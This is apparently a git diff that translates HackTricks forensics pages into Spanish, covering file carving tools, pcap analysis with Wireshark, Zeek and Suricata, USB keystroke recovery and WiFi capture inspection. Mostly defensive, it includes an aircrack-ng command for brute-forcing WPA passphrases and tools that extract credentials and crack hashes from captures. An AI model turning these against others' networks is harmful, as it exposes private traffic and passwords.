Modelo de la cámara +- Coordenadas GPS +- Información de la imagen -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +Puedes usar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo. -## **Deleted Files Recovery** +## **Recuperación de archivos eliminados** -### Logged Deleted Files +### Archivos eliminados registrados -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +Como se vio antes, hay varios lugares donde el archivo aún se guarda después de haber sido "eliminado". Esto se debe a que, generalmente, la eliminación de un archivo de un sistema de archivos simplemente lo marca como eliminado, pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados. -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +Además, el sistema operativo generalmente guarda mucha información sobre los cambios en el sistema de archivos y copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o la mayor cantidad de información posible. {{#ref}} file-data-carving-recovery-tools.md @@ -201,31 +199,31 @@ file-data-carving-recovery-tools.md ### **File Carving** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**File carving** es una técnica que intenta **encontrar archivos en la gran cantidad de datos**. Hay 3 formas principales en que herramientas como esta funcionan: **Basado en encabezados y pies de archivo**, basado en **estructuras** de tipos de archivo y basado en el **contenido** mismo. -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no está almacenado en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él. -There are several tools that you can use for file Carving indicating the file types you want to search for +Hay varias herramientas que puedes usar para file carving indicando los tipos de archivo que deseas buscar. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Data Stream **C**arving +### Carving de flujo de datos -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +El carving de flujo de datos es similar al file carving, pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\ +Por ejemplo, en lugar de buscar un archivo completo que contenga URLs registradas, esta técnica buscará URLs. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### Eliminación segura -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +Obviamente, hay formas de **"eliminar de forma segura" archivos y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las copias de sombra del volumen**.\ +Puedes notar que incluso al realizar esa acción puede haber **otras partes donde la existencia del archivo aún está registrada**, y eso es cierto y parte del trabajo del profesional forense es encontrarlas. -## References +## Referencias - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index cd9e13a58..728c6a92e 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -4,92 +4,84 @@ ## Carving & Recovery tools -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +La herramienta más común utilizada en forenses para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples. ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk). +**Comandos útiles**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, necesitarás descomentar del archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas que extraiga. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +Esta herramienta viene incluida en Kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**). ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +Viene con versiones GUI y CLI. Puedes seleccionar los **tipos de archivo** que deseas que PhotoRec busque. ![](<../../../images/image (524).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web de la herramienta](https://binvis.io/#/). -#### Features of BinVis +#### Características de BinVis -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- Visual y activo **visor de estructuras** +- Múltiples gráficos para diferentes puntos de enfoque +- Enfocándose en porciones de una muestra +- **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo. +- Obteniendo **patrones** para criptoanálisis en archivos +- **Detectando** algoritmos de empaquetado o codificación +- **Identificar** esteganografía por patrones +- **Visual** de diferencias binarias -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis es un gran **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra. -## Specific Data Carving Tools +## Herramientas específicas de recuperación de datos ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Descarga [aquí](https://sourceforge.net/projects/findaes/). -## Complementary tools +## Herramientas complementarias -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\ +Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index f076c885c..0f50702b1 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -1,74 +1,66 @@ {{#include ../../../banners/hacktricks-training.md}} -# Carving tools +# Herramientas de carving ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. +La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples. ## Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. -**Useful commands**: - +**Binwalk** es una herramienta para buscar archivos binarios como imágenes y archivos de audio en busca de archivos y datos incrustados. +Se puede instalar con `apt`, sin embargo, la [fuente](https://github.com/ReFirmLabs/binwalk) se puede encontrar en github. +**Comandos útiles**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. - +Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará los tipos de archivos configurados por defecto. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ## **Scalpel** -**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. - +**Scalpel** es otra herramienta que se puede usar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, necesitarás descomentar del archivo de configuración \(_/etc/scalpel/scalpel.conf_\) los tipos de archivos que deseas que extraiga. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do: +Esta herramienta viene incluida en Kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer: ```text bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). +Navega a través de **toda la información** que la herramienta ha recopilado \(¿contraseñas?\), **analiza** los **paquetes** \(lee [**análisis de Pcaps**](../pcap-inspection/)\), busca **dominios extraños** \(dominios relacionados con **malware** o **inexistentes**\). ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. +Viene con versión GUI y CLI. Puedes seleccionar los **tipos de archivo** que deseas que PhotoRec busque. ![](../../../images/image%20%28524%29.png) -# Specific Data Carving Tools +# Herramientas específicas de carving de datos ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Descarga [aquí](https://sourceforge.net/projects/findaes/). -# Complementary tools +# Herramientas complementarias -You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Puedes usar [**viu** ](https://github.com/atanunq/viu) para ver imágenes desde la terminal. +Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md index 9e6ebd08d..5ddeb5226 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -1,97 +1,83 @@ -# Pcap Inspection +# Inspección de Pcap {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> Una nota sobre **PCAP** vs **PCAPNG**: hay dos versiones del formato de archivo PCAP; **PCAPNG es más nuevo y no es compatible con todas las herramientas**. Es posible que necesite convertir un archivo de PCAPNG a PCAP usando Wireshark u otra herramienta compatible, para poder trabajar con él en algunas otras herramientas. -## Online tools for pcaps +## Herramientas en línea para pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +- Si el encabezado de su pcap está **dañado**, debe intentar **repararlo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- Extraiga **información** y busque **malware** dentro de un pcap en [**PacketTotal**](https://packettotal.com) +- Busque **actividad maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) y [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -## Extract Information +## Extraer Información -The following tools are useful to extract statistics, files, etc. +Las siguientes herramientas son útiles para extraer estadísticas, archivos, etc. ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **Si va a analizar un PCAP, básicamente debe saber cómo usar Wireshark** -You can find some Wireshark tricks in: +Puede encontrar algunos trucos de Wireshark en: {{#ref}} wireshark-tricks.md {{#endref}} -### Xplico Framework +### Marco Xplico -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ puede **analizar** un **pcap** y extraer información de él. Por ejemplo, de un archivo pcap, Xplico extrae cada correo electrónico (protocolos POP, IMAP y SMTP), todo el contenido HTTP, cada llamada VoIP (SIP), FTP, TFTP, y así sucesivamente. +**Instalar** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**Ejecutar** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +Acceso a _**127.0.0.1:9876**_ con credenciales _**xplico:xplico**_ -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +Luego crea un **nuevo caso**, crea una **nueva sesión** dentro del caso y **sube el archivo pcap**. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Al igual que Xplico, es una herramienta para **analizar y extraer objetos de pcaps**. Tiene una edición gratuita que puedes **descargar** [**aquí**](https://www.netresec.com/?page=NetworkMiner). Funciona con **Windows**.\ +Esta herramienta también es útil para obtener **otra información analizada** de los paquetes para poder saber qué estaba sucediendo de una manera **más rápida**. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +Puedes descargar [**NetWitness Investigator desde aquí**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funciona en Windows)**.\ +Esta es otra herramienta útil que **analiza los paquetes** y organiza la información de una manera útil para **saber qué está sucediendo dentro**. ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions +- Extracción y codificación de nombres de usuario y contraseñas (HTTP, FTP, Telnet, IMAP, SMTP...) +- Extraer hashes de autenticación y crackearlos usando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- Construir un diagrama de red visual (Nodos de red y usuarios) +- Extraer consultas DNS +- Reconstruir todas las sesiones TCP y UDP - File Carving ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +Si estás **buscando** **algo** dentro del pcap, puedes usar **ngrep**. Aquí hay un ejemplo usando los filtros principales: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` - ### Carving -Using common carving techniques can be useful to extract files and information from the pcap: +Usar técnicas comunes de carving puede ser útil para extraer archivos e información del pcap: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -99,46 +85,36 @@ Using common carving techniques can be useful to extract files and information f ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +Puedes usar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales de un pcap o de una interfaz en vivo. ## Check Exploits/Malware ### Suricata -**Install and setup** - +**Instalar y configurar** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**Ver pcap** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) es una herramienta que -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- Lee un archivo PCAP y extrae flujos Http. +- gzip descomprime cualquier flujo comprimido. +- Escanea cada archivo con yara. +- Escribe un report.txt. +- Opcionalmente guarda archivos coincidentes en un directorio. -### Malware Analysis +### Análisis de Malware -Check if you can find any fingerprint of a known malware: +Verifica si puedes encontrar alguna huella de un malware conocido: {{#ref}} ../malware-analysis.md @@ -146,12 +122,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) es un analizador de tráfico de red pasivo y de código abierto. Muchos operadores utilizan Zeek como un Monitor de Seguridad de Red (NSM) para apoyar investigaciones de actividades sospechosas o maliciosas. Zeek también soporta una amplia gama de tareas de análisis de tráfico más allá del dominio de la seguridad, incluyendo medición de rendimiento y solución de problemas. -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. - -### Connections Info +Básicamente, los registros creados por `zeek` no son **pcaps**. Por lo tanto, necesitarás usar **otras herramientas** para analizar los registros donde se encuentra la **información** sobre los pcaps. +### Información de Conexiones ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -201,9 +176,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### Información de DNS ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -220,8 +193,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## Otras trucos de análisis de pcap {{#ref}} dnscat-exfiltration.md @@ -237,10 +209,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index 9f63fbab3..f83425f94 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,12 +1,12 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection. +Si tienes un pcap de una conexión USB con muchas interrupciones, probablemente sea una conexión de teclado USB. -A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` +Un filtro de wireshark como este podría ser útil: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` -It could be important to know that the data that starts with "02" is pressed using shift. +Podría ser importante saber que los datos que comienzan con "02" se presionan usando shift. -You can read more information and find some scripts about how to analyse this in: +Puedes leer más información y encontrar algunos scripts sobre cómo analizar esto en: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 9c3dba419..fefecc8fc 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,17 +1,15 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +Si tienes un pcap que contiene la comunicación a través de USB de un teclado como el siguiente: ![](<../../../images/image (613).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication: - +Puedes usar la herramienta [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) para obtener lo que se escribió en la comunicación: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +Puedes leer más información y encontrar algunos scripts sobre cómo analizar esto en: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 36413cf70..4e7bb543a 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,38 +1,36 @@ {{#include ../../../banners/hacktricks-training.md}} -# Check BSSIDs +# Verificar BSSIDs -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +Cuando recibas una captura cuyo tráfico principal es Wifi usando WireShark, puedes comenzar a investigar todos los SSIDs de la captura con _Wireless --> WLAN Traffic_: ![](<../../../images/image (424).png>) ![](<../../../images/image (425).png>) -## Brute Force - -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: +## Fuerza Bruta +Una de las columnas de esa pantalla indica si **se encontró alguna autenticación dentro del pcap**. Si ese es el caso, puedes intentar forzarla usando `aircrack-ng`: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +Por ejemplo, recuperará la frase de paso WPA que protege un PSK (clave precompartida), que será necesaria para descifrar el tráfico más tarde. -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +# Datos en Beacons / Canal Lateral -# Data in Beacons / Side Channel +Si sospechas que **los datos están siendo filtrados dentro de los beacons de una red Wifi**, puedes verificar los beacons de la red utilizando un filtro como el siguiente: `wlan contains `, o `wlan.ssid == "NAMEofNETWORK"` busca dentro de los paquetes filtrados cadenas sospechosas. -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +# Encontrar Direcciones MAC Desconocidas en una Red Wifi -# Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +El siguiente enlace será útil para encontrar las **máquinas que envían datos dentro de una Red Wifi**: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Si ya conoces **las direcciones MAC, puedes eliminarlas de la salida** añadiendo comprobaciones como esta: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || 